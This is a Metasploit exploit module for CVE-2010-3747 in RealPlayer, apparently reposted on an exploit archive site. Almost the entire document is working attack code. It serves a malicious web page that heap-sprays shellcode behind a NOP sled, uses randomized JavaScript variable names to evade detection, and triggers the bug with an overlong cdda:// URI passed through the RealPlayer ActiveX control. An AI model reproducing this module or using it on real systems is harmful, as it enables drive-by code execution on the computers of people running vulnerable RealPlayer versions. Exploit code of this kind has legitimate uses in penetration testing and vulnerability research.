ExploitFixes
RealNetworks RealPlayer CDDA URI Initialization Vulnerability - [CVE: 2010-3747] 2011-03-18 10:15:20

##
# $Id: realplayer_cdda_uri.rb 12009 2011-03-17 15:42:28Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'RealNetworks RealPlayer CDDA URI Initialization Vulnerability',
'Description' => %q{
This module exploits a initialization flaw within RealPlayer 11/11.1 and
RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object
initialization failure. However, this failure is improperly handled and
uninitialized memory executed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bannedit',
'sinn3r'
],
'Version' => '$Revision: 12009 $',
'References' =>
[
[ 'CVE', '2010-3747' ],
[ 'OSVDB', '68673'],
[ 'BID', '44144' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-210/'],
[ 'URL', 'http://service.real.com/realplayer/security/10152010_player/en/']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'RealPlayer SP 1.0 - 1.1.4 Universal', { 'Ret' => 0x21212121 } ],
[ 'RealPlayer 11.0 - 11.1 Universal', { 'Ret' => 0x21212121 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Nov 15 2010',
'DefaultTarget' => 0))
end

def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

mytarget = target

# the ret slide gets executed via call [esi+45b]
retslide = [mytarget.ret].pack('V') * 750
cdda_uri = "cdda://" + retslide

# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
nops = make_nops(8)
nop_sled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))

# Randomize Javascript variables
var_blocks = rand_text_alpha(rand(6)+3)
var_shellcode = rand_text_alpha(rand(6)+3)
var_index = rand_text_alpha(rand(6)+3)
var_nopsled = rand_text_alpha(rand(6)+3)
spray_func = rand_text_alpha(rand(6)+3)
obj_id = rand_text_alpha(rand(6)+3)
html = <<-EOS
<html>
<head>
<script>
function #{spray_func}() {
#{var_blocks} = new Array();
var #{var_shellcode} = unescape("#{shellcode}");
var #{var_nopsled} = unescape("#{nop_sled}");
do { #{var_nopsled} += #{var_nopsled} } while (#{var_nopsled}.length < 8200);
for (#{var_index}=0; #{var_index} < 19000; #{var_index}++)
#{var_blocks}[#{var_index}] = #{var_nopsled} + #{var_shellcode};
}
#{spray_func}();
</script>
</head>
<object id=#{obj_id} classid='clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA' width=0 height=0>
<param name="CONTROLS" value="ControlPanel">
<param name="src" value="#{cdda_uri}">
</object>
<script language="VBScript">
#{obj_id}.DoPlay
</script>
</html>
EOS
print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}")
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end